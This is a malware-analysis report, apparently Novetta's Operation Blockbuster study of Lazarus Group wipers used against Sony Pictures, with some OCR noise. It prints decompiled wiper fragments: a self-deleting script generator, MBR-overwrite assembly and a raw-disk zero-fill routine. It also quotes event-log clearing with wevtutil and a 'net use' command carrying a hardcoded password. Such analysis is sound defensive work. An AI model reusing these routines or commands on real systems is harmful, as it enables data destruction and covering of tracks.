BLOCKBUSTER

10

0

ō

1

Ô

Pallet

010

101

10

R In

0

0

1.0

å

Bannie

DESTRUCTIVE MALWARE REPORT

31

NOVETTA



0

0

Novetta is an advanced analytics company that extracts value from the increasing volume, variety and velocity of data. By mastering scale and speed, our advanced analytics software and solutions deliver the actionable insights needed to help our customers detect threat and fraud, protect high value networks, and improve the bottom <u>line</u>.

For innovative solutions for today's most mission-critical, advanced analytics challenges, contact Novetta:

Phone: (571) 282-3000 | www.novetta.com

www.OperationBlockbuster.com



2

TABLE OF CONTENTS

0

0

Û

3

1. C	Operation Blockbuster	.4
2. [[Wiper] WhiskeyAlfa	.7
2	2.1 WhiskeyAlfa-One	9
2	2.2 WhiskeyAlfa-Two	10
ć	2.3 WhiskeyAlfa-Three	12
3. [[Wiper] WhiskeyBravo	17
	3.2 WhiskeyBravo-Two	20
4. [[Wiper] WhiskeyCharlie	21
5. [[Wiper] WhiskeyDelta	26
į	5.1 WhiskeyDelta-One	30
ť	5.2 WhiskeyDelta-Two	31
6. [[DDoS Bot] DeltaAlfa	36
7. [DDoS Bot] DeltaBravo	10
8. [[DDoS Bot] DeltaCharlie	41
9. (Conclusions	13

0

Ô

Ċ,

1. Operation Blockbuster





This report details some of the technical findings of the Lazarus Group's malware, observed by Novetta during Operation Blockbuster. We recommend reading the initial report¹ prior to the reverse engineering reports for more details on the Operation and the Lazarus Group. This reverse engineering report looks at the destructive malware found within the Lazarus Group's collection.

One of the more noticeable features of the Lazarus Group is the use of destructive malware. The Lazarus Group has two basic classes of destructive malware. The first class, colloquially known as "wipers," are a class of malware has the primary intent of destroying data on a victim's machine. A variety of wiper tools have been found within the Lazarus Group's collection, each performing its task exceptionally well.

The second class of destructive malware within the Lazarus Group's collection is distributed denial-of-service malware, or DDoS malware. DDoS malware floods a target's network-connected service with an excessive number of request at once in order to overload the capacity of the server. This overloading results in legitimate traffic being ignored. It is analogous to have an entire city calling the same IT support center at the same time. Some people are going to get through while the majority of people are simply going to get a busy signal as all the available phone lines fill up.

The naming scheme used by Novetta for the malware identified during Operation Blockbuster consists of at least two identifiers which each identifier coming from the International Civil Aviation Organization (ICAO)'s phonetic alphabet,² commonly referred to as the NATO phonetic alphabet. The first identifier specifies the general classification of the malware family while the second identifier specifies the specific family within the larger general classification. For example, DeltaAlfa specifies a DDoS bot family identified as Alfa.

¹ http://www.operationblockbuster.com/wp-content/uploads/2016/02/0peration-Blockbuster-Report.pdf

² International Civil Aviation Organization. "Alphabet - Radiotelephony". http://www.icao.int/Pages/AlphabetRadiotelephony.aspx Accessed 1 December 2015.

FIRST LEVEL IDENTIFIER	GENERAL CLASSIFICATION
Delta	DDoS
Hotel	HTTP Server
India	Installer
Lima	Loader
Kilo	Keylogger
Рара	Proxy
Romeo	RAT
Sierra	Spreader
Tango	Tool (Non-classed)
Uniform	Uninstaller
Whiskey	Destructive Malware ("Wiper")

Table 1-1: First Level Identifiers for the Lazarus Group Family Names and their Classification Meanings

There is no temporal component to the second level identifiers given to malware families. While generally the second identifiers are largely sequential (Alfa, Bravo, Charlie, and so on), the identifier does not indicate that one family came before another chronologically. Instead, the second level identifiers were assigned by the order Novetta discovered each particular family.



THE LAZARUS GROUP

		2.45		and the second						
WHISKEY	UNIFORM	TANGO	SIERRA	ROMEO	PAPA	LIMA	KILO	INDIA	HOTEL	DELTA
Destructive Malware ("Wiper")	Uninstaller	Tool (Non- classed)	Spreader	RAT	Proxy	Loader	Keylogger	Installer	HTTP Server	DDoS
WhiskeyAlfa WhiskeyBrav WhiskeyChar WhiskeyDelta	o rlie a									DeltaAlfa DeltaBravo DeltaCharlie
Uniform/ UniformJ	 Alfa uliett Ta	ngoAlfa	-	RomeoAlfa				IndiaAlı IndiaBra IndiaCh	oha Ho avo arlie	telAlfa
	TangoBravo TangoCharlia			RomeoBravo RomeoCharlie				IndiaDe IndiaEc	lta	
	Та	ingoDelta		RomeoDelta					IndiaFoxtrot	
				RomeoEcho RomeoFoxtrol	t			IndiaGo	olt otel	
				RomeoGolf				Indialno	lia	
SierraA				RomeoHotel RomeoMike		3		IndiaJui	o	
SierraBravo RomeoNoven			iber	1. 1.		IndiaWł	niskey			
SierraCharlie RomeoWhisk			ey							
SierraJ	uliett-MikeOn	ie				1 1				
SierraJ	uliett-MikeTw	0							KiloAlfa	
						14.1	LimaAlfa		RiloAlla	
Section							LimaBravo			
							LimaCharlie	-		
					DanaAlfa		LimaDelta			

PapaAlfa

2. [Wiper] WhiskeyAlfa



One of the most visible pieces of the Sony Pictures Entertainment (SPE) attack, WhiskeyAlfa is a family of destructive malware designed to destroy the contents of any hard drives attached to a computer infected with the malware. There are three known variants of WhiskeyAlfa: WhiskeyAlfa-One, WhiskeyAlfa-Two, and WhiskeyAlfa-Three. WhiskeyAlfa-One is a simplified variant that focuses purely on the destruction of a victim's data. WhiskeyAlfa-Two, the variant associated with the SPE attack, performs this same destruction but also drops an additional malware family, HotelAlfa.³ WhiskeyAlfa-Three is a modified version of WhiskeyAlfa-Two that also includes a spreading mechanism specific to the SPE infrastructure.

The WhiskeyAlfa malware variants contain two primary attacks for destroying a victim's data:

- Attack type I, a.k.a. FileOverwrite, overwrites all files with random data from the heap (up to 4,194,304 bytes)
- Attack type 2, a.k.a. *SectorOverwrite*, uses a raw disk access driver to overwrite sectors of the victim's hard drives with random data

The *FileOverwrite* attack begins by recursively identifying all files on the victim's machines for each drive assigned a letter (e.g. **C:**, **D:**, and so on). Due to the fact that identifying each file on a set of drives can be a time consuming process, the *FileOverwrite* attack is performed within its own thread making it asynchronous to any other attack types that may also be in play on a victim's machine infected with WhiskeyAlfa. For each file that matches a variant-specific condition or set of conditions, which will be explained in the variants' subsections that follow, WhiskeyAlfa will apply a quasi-secure deletion function.

The WhiskeyAlfa deletion technique for files is not the same used in other Lazarus Group variants but rather a crude overwrite technique. The quasi-secure deletion function will overwrite a specified file by allocating a buffer from heap memory equal to the size of the file up to a maximum of 4,194,304 bytes, followed by writing the contents of the buffer to the file using **WriteFile**. The end result of this type of overwrite is the simple replacement of data for a given filename using artifacts from memory.

The SectorOverwrite attack relies on the EldoS RawDisk⁴ driver in order to access the hard drive directly (thus largely skipping the Windows hardware abstraction layer and avoiding operating system safeguards). In order to activate the Eldos RawDisk driver, WhiskeyAlfa must first drop the driver to the victim's hard drive and then activate the driver by installing it as a service that WhiskeyAlfa must start. Since the RawDisk driver is architecture-specific, WhiskeyAlfa contains both a 32-bit and 64-bit version of the binary within its resource section under ICON_PACKAGES\129 (32-bit) and ICON_PACKAGES\131 (64-bit). The RawDisk driver is encrypted using an encryption scheme Novetta was unable to identify. WhiskeyAlfa will drop the appropriate RawDisk driver to %TEMP%\usbdrv3.sys after decrypting the driver.

In order to activate the driver, WhiskeyAlfa must first install the driver as a service. WhiskeyAlfa uses the Windows services API function **CreateService** to add a new service named **usbdrv3** to the Windows services database. The new service is given the display name of "USB 3.0 Host Controller" and the **%TEMP%\usbdrv3.sys** file is specified as the service executable. If a service with the name **usbdrv3** already exists on the victim's machine, it is stopped prior to the installation of WhiskeyAlfa's **usbdrv3** in order to prevent the RawDisk driver from improperly activating due to a service name collision.

EldoS's RawDisk driver has been used by other destructive malware families, most notably Shamoon in mid-2012,⁵ prior

³ http://www.operationblockbuster.com/wp-content/uploads/2016/02/0peration-Blockbuster-Tools-Report.pdf

⁴ EldoS. "Direct access to disks and protected files from user-mode applications in Windows - RawDisk"" https://www.eldos.com/rawdisk/index.php. Accessed 25 November 2015.

⁵ Dmitry Tarakanov. SecureList." Shamoon The Wiper: Further Details (Part II)" https://securelist.com/blog/incidents/57784/shamoon-the-wiper-further-details-part-ii/ 11 September 2012.

to its inclusion in samples of WhiskeyAlfa, a malware family with a short known life span that includes only the month of November 2014. Unlike Shamoon, which used the RawDisk library for accessing the drive, WhiskeyAlfa directly interfaces with the driver and thus cuts out the use of the RawDisk library. While this is a seemingly minor optimization, it points to a level of familiarity with the RawDisk system that clearly the author(s) of Shamoon did not have or choose to use.

Whenever a program needs to access the RawDisk driver, the program must open a file handle through a specifically formatted filename. Depending on if the program needs to access the RawDisk driver for the physical drive (e.g. \\.\PhysicalDrive0) or for the logical drive (e.g. C:\), the filename that the program requests through CreateFile must contain a hash character (#) followed by the license key issued to the developer by EldoS. For example, when WhiskeyAlfa opens an interface to the RawDisk driver for the physical drive on a victim's computer, the malware will open the following filename:

\\?\ElRawDisk\??\\PhysicalDrive0#99E2428CCA4309C68AAF8C616EF3306582A64513E55C786A8
64BC83DAFE0C78585B692047273B0E55275102C664C5217E76B8E67F35FCE385E4328EE1AD139EA6AA
26345C4F93000DBBC7EF1579D4F

Or, if WhiskeyAlfa needs to access the **C**: drive, then the following filename is opened:

\\?\ElRawDisk\??\\C:#99E2428CCA4309C68AAF8C616EF3306582A64513E55C786A864BC83DAFE0C7 8585B692047273B0E55275102C664C5217E76B8E67F35FCE385E4328EE1AD139EA6AA26345C4F93000D BBC7EF1579D4F

In either mode, the important component is the license key, as RawDisk will fail to open an interface to itself if the license key is invalid. The developer(s) of Shamoon used an easily obtainable temporary license key that has a built in expiration date and is registered to **binnatova@bsunanotechnology.com**. This is the reason that Shamoon required the current time of the victim's system to exist within a very specific window. WhiskeyAlfa, however, got around the expiration date issue by using a legitimate license key from another product: the file utilities from Briggs Softworks.⁶ The license key found in WhiskeyAlfa has an expiration date of 22 September 3378 16:43:04 and the license name of "**Briggs Softworks** (**single-dev vendor**)." The fact that the developer(s) of WhiskeyAlfa used a stolen license key parallels the Lazarus Group's use of compromised infrastructure, as it provides a necessary resource to the group without directly relatable evidence pointing back to the parties involved.

With the RawDisk driver installed, the *SectorOverwrite* attack begins by generating three buffers: a buffer consisting of 65,536 **0xAA** bytes, a buffer of 65536 **0x55** bytes, and a buffer of 65,536 random bytes. These buffers become the basis for the data written to sectors on a victim's hard drives. The first phase of the *SectorOverwrite* attack consists of using the RawDisk driver to access the physical disks **0** through **29** and overwriting the first 64 MB of the drives with the contents of the three buffers (in order of **0xAA**, **0x55**, and random). The next phase of the attack uses the RawDisk driver to access the logical drives **2**: and working backwards through to drive **C**:, with each drive having specific areas overwritten using the three buffers. The next phase of the *SectorOverwrite* attack is particularly aggressive as 300 threads are generated for the potential of physical drives **0** through **299** being attacked by having every byte of every sector of the drives replaced with random data. The last phase of the *SectorOverwrite* attack consists of attempting to call **GetDiskFreeSpaceEx** against each of the possible lettered drives **2**: through **C**:. For any drive that returns a successful result, the *SectorOverwrite* attack assumes the drive was not successfully damaged and will attempt to overwrite a significant number of sectors with data from the random buffer generated at the beginning of the attack. The attack concludes with a call to **Sleep** with the value set to **INFINITE**. If **Sleep** does return eventually, then the *usbdrv3* service is removed and the RawDisk driver file is removed via a secure deletion function.

6 Briggs Softworks. "Briggs Softworks: home for encryption, calendar, graphics, poker, and file utilities for Windows" https://www.briggsoft.com/. Accessed 27 November 2015.

2.1 WhiskeyAlfa-One

.

By far the most simplified version of WhiskeyAlfa, WhiskeyAlfa-One has a singular focus: destruction of data. Wrapped in a simple Windows GUI framework, WhiskeyAlfa-One begins by deleting the Windows event logs **System**, **Security**, **Application**, and **Setup** by either calling the API function **EvtClearLog** from **wevtapi.dll** or by issuing the command **wevtutil.exe cl** via a **CreateProcess** call.

WhiskeyAlfa-One proceeds to use the *FileOverwrite* attack followed immediately by the *SectorOverwrite* attack. Once the attacks complete, assuming that the **Sleep** function ultimately returns and the driver is removed, a suicide script is then generated and executed. The suicide script generation function uses string concatenation functions and **ShellExecute** to execute the script, as seen in the code in Figure 2-1:

```
strcpy(buffer, "@echo off\r\n");
strcpy(buffer, ":Loop\r\ndel \"");
strcat(buffer, szWhiskeyAlfaOneFilename);
strcat(buffer, szWhiskeyAlfaOneFilename);
strcat(buffer, szWhiskeyAlfaOneFilename);
strcat(buffer, szWhiskeyAlfaOneFilename);
strcat(buffer, szSuicideScriptFilename);
strcat(buffer, szSuicideScriptFilename);
strcat(buffer, "\"");
WriteFile(hFile, buffer, strlen(buffer), &NumberOfBytesWritten, 0);
CloseHandle(hFile);
ShellExecuteA(0, "open", szSuicideScriptFilename, 0, 0, 0);
```

Figure 2-1: Code Snippet of WhiskeyAlfa-One's Suicide Ssript Generation Function

The suicide script's generation and format is nearly identical to that of IndiaAlfa-One, with the exception that the first del command is missing the /a H parameter. It is worth noting that WhiskeyAlfa-One has the same superfluous strcpy(buffer, "@echo off\r\n") instruction found in IndiaAlfa-One. A race condition begins once the suicide script executes, as the very next function that WhiskeyAlfa-One calls shuts down the Windows operating system by calling the ExitWindowsEx function. Depending on how quickly the operating system shuts down, it is possible that the suicide script will not have a chance to complete its task; however, the devastation that WhiskeyAlfa-One has inflicted on the victim's hard drives makes the need for a suicide script somewhat unnecessary.

2.2 WhiskeyAlfa-Two

.

WhiskeyAlfa-Two is more feature rich than its sibling, WhiskeyAlfa-One, but ultimately it serves the same purpose: the wholesale destruction of data. WhiskeyAlfa-Two takes a set of optional flags to determine its particular mode of operation. Table 2-I below identifies the various flags that WhiskeyAlfa supports. If the malware is executed without any flags, WhiskeyAlfa-Two will merely execute itself again with the **-i** flag as its argument, causing the malware to install itself as a service on the victim's computer. Effectively, WhiskeyAlfa-Two has the capability to self-install.

FLAG	OPERATING MODE	MEANING
-d	Service	Perform the <i>FileOverwrite</i> attack on non-executable (.exe and .dll) files
-i	Stand-alone	Install WhiskeyAlfa on the victim's machine as a service
-k	Service or Stand-alone	Perform <i>FileOverwrite</i> and <i>SectorOverwrite</i> attacks, install HotelAlfa, report status to C2 server and shutdown the Microsoft Exchange Information Store service (MSExchangeIS) before shutting down the victim's machine after two hours.
-m	Service	Perform the SectorOverwrite attack
-w	Service	Install and activate HotelAlfa

Table 2-1: WhiskeyAlfa-Two's Supported Command Line Flags

The installation process is straightforward:

- I. Call CreateService to create a new Windows service named **brmgmtsvc** with the display name of "Backup and Restore Management Service"
- 2. Set the description of the service to "Backup and Restore Management Service" and establish the error recovery conditions by calling ChangeServiceConfig2
- 3. Activate the service by calling **StartService**

When running as a service, WhiskeyAlfa-Two can perform a variety of attacks. The *FileOverwrite* attack (argument –d) will attack all non-executable files (files that do not have an .exe or .dll extension) on a victim's letter-assigned drives. Some variants of WhiskeyAlfa-Two will avoid removing files from the **%PROGRAMFILES**% directory as well as **%WINDIR**%.

WhiskeyAlfa-Two can also drop HotelAlfa when executed with the **-w** argument. The process of installing HotelAlfa begins by WhiskeyAlfa-Two stopping the Windows Terminal Services service (**termservice**). The HotelAlfa binary is then decrypted and extracted from the WhiskeyAlfa-Two resource **ICON_PACKAGES**\133 and saved on the victim's machine as **WINDIR****iissvr.exe**. HotelAlfa is activated by calling **CreateProcess** with the filename and path of the **iissvr.exe** binary.

Activating the various attack types and install the HotelAlfa malware as individual steps can be cumbersome and this could be the reason that the developer(s) of WhiskeyAlfa-Two supplied the **-k** command. When called with the **-k** argument, WhiskeyAlfa-Two will delay 10 minutes after being activated before executing itself with the **-w** argument supplied to start the installation of HotelAlfa. After 3 seconds, WhiskeyAlfa-Two spawns a new instance of itself with the **-m** argument supplied to induce the *SectorOverwrite* mode. An additional 3 seconds later, WhiskeyAlfa-Two generates another copy of itself with the **-d** argument supplied to start the *FileOverwrite* attack. WhiskeyAlfa-Two will report victim information back to one of three hardcoded C2 server. The data that WhiskeyAlfa-Two sends to the C2 server consist of a 40-byte data structure defined in Table 2-2.



```
[DWORD]: Local IP Address of victim
[32 bytes]: Computer name
[DWORD]: Flag (set to 4)
```

Table 2-2: WhiskeyAlfa-Two's Status Structure

The data to the C2 server is sent without encryption, and the C2 server does not respond with any additional packets. This would indicate that the data burst to the C2 is merely a status update transmission that allows the Lazarus Group to determine which machines have suffered from a WhiskeyAlfa-Two attack.

Once the status report has been transmitted to a C2 server, WhiskeyAlfa-Two stops the **MSExchangeIS** service. The **MSExchangeIS** service is the Microsoft Exchange Information Store service that is responsible for housing the contents of an Exchange email server (i.e. emails, contacts, etc). Two hours after stopping the Exchange server, WhiskeyAlfa-Two will shut down the victim's machine by calling the **ExitWindowsEx** function.



2.3 WhiskeyAlfa-Three

.

WhiskeyAlfa-Three is an enhanced version of WhiskeyAlfa-Two. The primary differences between WhiskeyAlfa-Three and WhiskeyAlfa-Two is the inclusion of a Windows share file deletion option, an option to drop and run TangoDelta, as well as the expansion of which files the *FileOverwrite* attack will target. WhiskeyAlfa-Three also adds three new command line arguments, as seen in Table 2-3, while removing the **-w** argument.

FLAG	OPERATING MODE	MEANING
-a	Service	Disable AVs using TangoDelta.
-n	Service	<i>FileOverwrite</i> attack against any file so long as the drive is DRIVE_FIXED , DRIVE_REMOVABLE , DRIVE_RAMDISK , or DRIVE_REMOTE (this is an expansion of targets from the -d command that only allows for DRIVE_FIXED and DRIVE_REMOVABLE .)
-S	Service	Attempt to login to predefined SPE servers and delete all files on all shares.

Table 2-3: WhiskeyAlfa-Three's Additional Supported Command Line Flags

When the **-a** argument is supplied to WhiskeyAlfa-Three, it begins the process of extracting and decoding two files from its resource section but only if the host operating system is 64-bit. Resource **ICON_PACKAGES\137** contains the Process Hacker driver, which WhiskeyAlfa-Three will save as **TEMP\$\khp.sys**, and resource **ICON_PACKAGES\136** contains the TangoDelta binary that ultimately gets saved to **TEMP\$\ams.exe**. With the TangoDelta components dropped to the victim's hard drive, WhiskeyAlfa-Three uses **CreateProcess** to activate the TangoDelta malware.

While WhiskeyAlfa-Three contains the same *FileOverwrite* attack found within WhiskeyAlfa-Two variants, WhiskeyAlfa-Three contains an additional mode (argument **-n**) that will expand the allowable targets from only fixed (hard drives) and removable (such as USB drives and floppy disks) drives to include RAM disk and remote drives. WhiskeyAlfa-Three enforces the condition that it will avoid removing files from the **%PROGRAMFILES%** and **%WINDIR%** directories. Additionally, the **-n** argument will change the wallpaper of the user account under which WhiskeyAlfa-Three is executing to the image seen in Figure 2-1. As will be discussed later, WhiskeyAlfa-Three uses the **-n** argument mode when attacking user accounts logged onto a WhiskeyAlfa-Three infected machine, which makes the inclusion of the wallpaper replacement somewhat less baffling.





Figure 2-1: Wallpaper of Users Infected with WhiskeyAlfa-Three

The *SectorOverwrite* attack within WhiskeyAlfa-Three operates in roughly the same manner as the other WhiskeyAlfa variants with the exception of a very specific modification made to the Master Boot Record (MBR) of targeted drives. WhiskeyAlfa-Three replaces the MBR (sector 0) of each physical drive with the code fragment shown in Figure 2-2.

М	BR:7C00	start:		
M	BR:7C00		xor	ax, ax
Μ	BR:7C02		mov	ss, ax
M	BR:7C04		mov	sp, offset start
М	BR:7C07		sti	
М	BR:7C08		push	ax
М	BR:7C09		pop	es
М	BR:7C0A		push	ax
М	BR:7C0B		pop	ds
М	BR:7C0C		cld	
М	BR:7C0D		mov	si, offset dap1 ; SI = PTR to DAP
М	BR:7C10		xor	CX, CX
М	BR:7C12			
М	BR:7C12	loop:		
М	BR:7C12		inc	CX
М	BR:7C13		cmp	cx, 100h
М	BR:7C17		jz	short duplicateMBR
М	BR:7C19			
Μ	BR:7C19	overwriteSector	s:	
М	BR:7C19		mov	ah, 43h ; Func: EXTENDED WRITE
М	BR:7C1B		mov	al, 0 ; Verify Flag = No Verify
М	BR:7C1D		int	13h ; BIOS DISK function
Μ	BR:7C1F		inc	dl ; Physical drive number
M	BR:7C21		cmp	dl, 84h ; last physical drive?
Μ	BR:7C24		jl	short overwriteSectors
Μ	BR:7C26		mov	dl, 80h ; use first physical drive
M	BR:7C28		mov	di, offset dapl.qwStartSectorToWrite
M	BR:7C2B		add	word ptr [di], 400h
M	BR:7C2F		adc	word ptr [d1+2], 0
M	BR: /C33		adc	word ptr [d1+4], 0
M	BR:/C3/		add	word ptr [d1+6], U
M	DR:/CJD		Jup	short loop
M	BR.7C3D	,		
M	BR.7C3D	duplicateMBP		
M	BR.7C3D	dupiicatembr.	mov	si offset danMBR · PTR to DAP
м	BR.7C40		mov	ab 43b · Func: EXTENDED WRITE MRR.7C42
м	BR:7C42		mov	al. 0 : Verify Flag = No Verify
м	BR:7C44		int	13h ; BIOS DISK function
М	BR:7C46		xor	CX, CX
М	BR:7C48		mov	si, offset dapl
М	BR:7C4B		jmp	short loop
М	BR:7C4B	;		*
М	BR:7C4D	dapMBR	db 16	; size
М	BR:7C4D		db 0	; zero unused
М	BR:7C4D		dw 1	; sectorsToWrite
М	BR:7C4D		dd 7C001	; ptrDataToWrite
М	BR:7C4D		dq 0	; qwStartSectorToWrite
М	BR:7C5D	dap1	db 16	; size
М	BR:7C5D		db 0	; zero _ unused
М	BR:7C5D		dw 64	; sectorsToWrite
М	BR:7C5D		dd 0	; ptrDataToWrite
M	BR:7C5D		dq 0	; qwStartSectorToWrite

Figure 2-2: WhiskeyAlfa-Three's MBR Trojan Code

The WhiskeyAlfa-Three MBR Trojan performs the following tasks:

- Overwrite 64 sectors starting at sector 1024 with random data 256 times (the random data to use is located at 0000:0000 through 0000:7FFF in 16-bit mode)
- 2. Copy the current MBR to each attached physical drive.

It would appear that the MBR modification of WhiskeyAlfa-Three acts as a form of failsafe in the event that a drive's destruction was not completed by the time the victim's computer shut down. The use of the MBR to further the destruction of a victim's hard drive data is a testament to the motivation of the WhiskeyAlfa developer(s) to ensure complete devastation of the victim's data.

WhiskeyAlfa-Three is most definitely a targeted piece of malware, as it includes a mode (via the **-s** argument) that will attempt to connect to a series of servers that most likely belonged to SPE infrastructure and delete all of the files available via shares on the servers. The attack, *ShareShredder*, begins by attempting to connect to each of the hardcoded servers by name, as identified in Figure 2-3.

\\la_data
\\la_apps
\\la_users
\\172.20.10.117
\\SPE-BU1
\\SPE-CP2
\\SPE-CP3
\\SPE-CPDEV1
\\SPE-CS1
\\SPE-CS2
\\SPE-da1
\\SPE-FTO
\\SPE-HYDN1
\\SPE-KE1
\\SPE-KE3
\\SPE-KE4
\\MHTN1
\\SPE-sf1
\\SPE-SP1
\\SPE-SP2
\\SPE-SP3
\\SPE-SP5
\\SPE-SPA1
\\SPE-SPECP1
\\SPE-to1
\\SPE-TO2
\\USCHIPLH01
\\USPHXRNH01
\\USPLH12
\\IISPLV05
((00111000

Figure 2-3: Targeted Infrastructure Found Within WhiskeyAlfa-Three

To connect to the servers, WhiskeyAlfa-Three issues the following command via CreateProcess:

cmd.exe /c net use SERVERNAME "P@ssw0rd123" /u:"SPE\ADutta2-1" > RANDOM_PID

The SERVERNAME value is the name of the server to which a connection is being requested, *RANDOM* is the current value from **GetTickCount**, and *PID* is the current PID of the WhiskeyAlfa-Three process. The log file that the command produces (the *RANDOM_PID* file) is scanned to determine if "**successfully**" is present, indicating that the connection to the server was successful using the supplied credentials; the file is then deleted.

If a connection to the targeted server was successful, a call to **NetShareEnum** is made to determine the available shares on the server. From the list of shares available, WhiskeyAlfa-Three will randomly select one share as its target for data destruction. It is interesting that the developer(s) chose to limit the destruction of data to a single share per host infected by WhiskeyAlfa-Three. The data destruction process consists of recursively identifying each file and directory within a share for the Windows API function **DeleteFile** to remove the file.

WhiskeyAlfa-Three modifies the behavior of the **-k** mode slightly from that seen in WhiskeyAlfa-Two. Upon activation, WhiskeyAlfa-Three will call **Sleep** for a suspension of 2 hours before issuing the various other modes. After the sleep delay, WhiskeyAlfa-Three will execute itself with **-a** to drop TangoDelta. A five second delay later, WhiskeyAlfa-Three will spawn new instances of itself with the **-m** argument, then the **-d** argument, and finally the **-s** argument. After issuing the various attack modes, WhiskeyAlfa-Three will enumerate all logged-on users and attempt to run itself with the **-n** argument as each logged-on user. WhiskeyAlfa-Three then reports victim information back to one of three hardcoded C2 server using the same method as WhiskeyAlfa-Two. But unlike WhiskeyAlfa-Two, after the data burst to the C2 server, WhiskeyAlfa-Three does not shut down any additional services or the victim's system. The fact that WhiskeyAlfa-Three attempts to run itself as loggedon users and does not shut down the victim's computer may indicate that the malware was designed to target a terminal services-enabled server that would be immediately noticeable if rendered inoperative, but at the same time the malware announces itself by replacing infected users' desktop wallpaper.

3. [Wiper] WhiskeyBravo



Destructive malware doesn't need to be overly complicated, as WhiskeyBravo proves. Observed being installed as a service by IndiaGolf, notably during the "Ten Days of Rain" incident as reported by McAfee,⁷ WhiskeyBravo has only two tasks: destroy then delete all files on the victim's machine and overwrite all sectors on the victim's hard drive (or only the MBR if the victim is using the Windows Vista or newer operating system).

There are two observed variants of WhiskeyBravo: WhiskeyBravo-One and WhiskeyBravo-Two. From a code perspective, WhiskeyBravo-One and WhiskeyBravo-Two are extremely similar, with the latter being simpler despite being chronologically newer. The primary difference between the two is that WhiskeyBravo-Two simplifies the file overwrite and deletion task somewhat. Given their high similarity, it is easiest to look at the generic functionality before delving into the subtle differences of the variants.

Before WhiskeyBravo can begin its destructive tasks, it must first determine if the victim's machine is within a target time range. Dropped as part of the installation process by IndiaGolf, the file **%SYSDIR%\noise03.dat** contains a 12-byte data structure the defines the operating period for WhiskeyBravo and will be referred to in this section as the "operation configuration" file. The format for the **noise03.dat** file is as follows:

OFFSET	SIZE	DEFAULT VALUE (AS SET BY INDIAGOLF)	DESCRIPTION
0	8-bytes (Double)	Current system time at time of WhiskeyBravo installation in VARIANTTIME format.	WhiskeyBravo's installation time.
8	4	7	Activation delay (in days)

Table 3-1: WhiskeyBravo's Configuration File Format

WhiskeyBravo will remain in a perpetual state of waiting to activate until one of three conditions occurs:

- I. The victim's system time is set to a time prior to the installation time (offset o).
- 2. The victim's system time is later than the sum of the installation time (offset o) and the activation delay (offset 8).
- 3. [WhiskeyBravo-One] The file **%SYSDIR%\dnsec.dat** exists and contains a 32-bit value of o.

Once the activation window has occurred on the victim's computer, WhiskeyBravo will spawn two threads: a thread for destroying select files on the victim's hard drives and a thread for overwriting sectors on the victim's attached physical drives. Despite using two threads, one per task, the operations are performed sequentially, not in an asynchronous manner as the use of multiple threads would suggest. After a new thread is generated for an operation, a call is made to **WaitForSingleObject** to wait for the thread to return with the timeout set to **INFINITE**. It is therefore unnecessary for the developer(s) of WhiskeyBravo to use two threads in the first place.

The task of destroying select files from the victim's machine occurs on all lettered drives on the victim's machine, starting at **Z**: and going through **A**:. For each lettered drive, WhiskeyBravo uses the **FindFirstFileW/FindNextFileW** API functions to enumerate each directory and file on the drive with the exception of **%WINDIR%** and **%PROGRAMFILES%**,

⁷ Ten Days of Rain: Expert analysis of distributed denial-of-service attacks targeting South Korea." McAfee. 2011. http://www.mcafee.com/us/resources/white-papers/wp-10-days-of-rain.pdf

which are explicitly ignored; this behavior is also observed in WhiskeyAlfa (see Section 2) and WhiskeyDelta (see Section 5). The selection criteria for a file to be overwritten and deleted is based solely on its extension using the target file identification function detailed in Section 4.3.6 of the "Operation Blockbuster" report.⁸ The method for destroying selected files differs by variant.

After completing the file destruction task, WhiskeyBravo begins overwriting potentially large portions of each physical drive attached to the victim's computer. Interestingly, the developer(s) of WhiskeyBravo attempt to access **\\.\PhysicalDrive0** through **\\.\PhysicalDrive24**; however, Windows has an upper limit of **\\.\PhysicalDrive15**, indicating that the developer(s) were either being sloppy in their coding or were potentially mistaking a logical drive (a lettered drive) for a physical drive.

For each physical drive that WhiskeyBravo is able to access, a call is made to **GetVersionEx** to determine the type of operating system the victim is using. For victims running Windows Vista or newer, WhiskeyBravo attempts to overwrite with NULL bytes the first 4.9 MB of the victim's physical drives. If WhiskeyBravo is running on a machine with Windows XP or older—versions of Windows that have less restrictive access to the physical drives through the **\\.\PhysicalDriveX** interface—then the overwrite got data with NULL bytes starting at sector o extends upwards of 39.1 GB. The code for the sector overwrite function in Figure 3-1 reveals the developer(s) of WhiskeyBravo's rudimentary understanding of how the **\\.\PhysicalDriveX** interface works or at the very least a sloppy implementation of a multiple pass overwrite operation.

```
DistanceToMoveHigh = 0;
NumberOfBytesWritten = 0;
i = 0;
dwZeroBufferSize = 0x400000;
VersionInformation.dwOSVersionInfoSize = 284;
if ( GetVersionExW(&VersionInformation)
    && VersionInformation.dwPlatformId == 2
    && VersionInformation.dwMajorVersion == 6 )
{
  dwZeroBufferSize = 512;
}
swprintf(wszDrive, L"\\\\.\\PhysicalDrive%d", driveNumber);
hFile = CreateFileW(wszDrive, 0xC0000000, 3u, 0, 3u, 0, 0);
if ( hFile != (HANDLE)-1 )
{
  pvZeroBuffer = malloc(dwZeroBufferSize);
 memset(pvZeroBuffer, 0, dwZeroBufferSize);
  SetFilePointer(hFile, 0, &DistanceToMoveHigh, 0);
  do
   ++i;
  while (WriteFile(hFile, pvZeroBuffer, dwZeroBufferSize, &NumberOfBytesWritten, 0) &&
i < 100000 );
 CloseHandle(hFile):
  free(pvZeroBuffer);
}
```

Figure 3-1: WhiskeyBravo's Physical Drive Overwrite Function (snippet)

If the intent was to render the first sector (512 bytes) or first 4 MB of a hard drive unusable—depending on the victim's operating system—and thereby destroy the MBR and upwards of 4 MB worth of data that follow the MBR, then the developer(s) forgot to reset the file pointer back to the beginning of the do-while loop; as the code is implemented, each additional call to **WriteFile** will increment the location of the write by 512 bytes or 4 MB. If, however, the intent was to overwrite a significant chunk of the victim's hard drive, the operation will fail on versions of Windows that are Vista or newer due to the restrictions these operating systems have on using **\\.\PhysicalDriveX** for direct disk access. This suggests a certain level of developmental carelessness—assuming that the intended targets had Vista or newer installed, even basic testing should have discovered this failing.

8 http://www.operationblockbuster.com/wp-content/uploads/2016/02/0peration-Blockbuster-Report.pdf

3.1 WhiskeyBravo-One

• • • • • • •

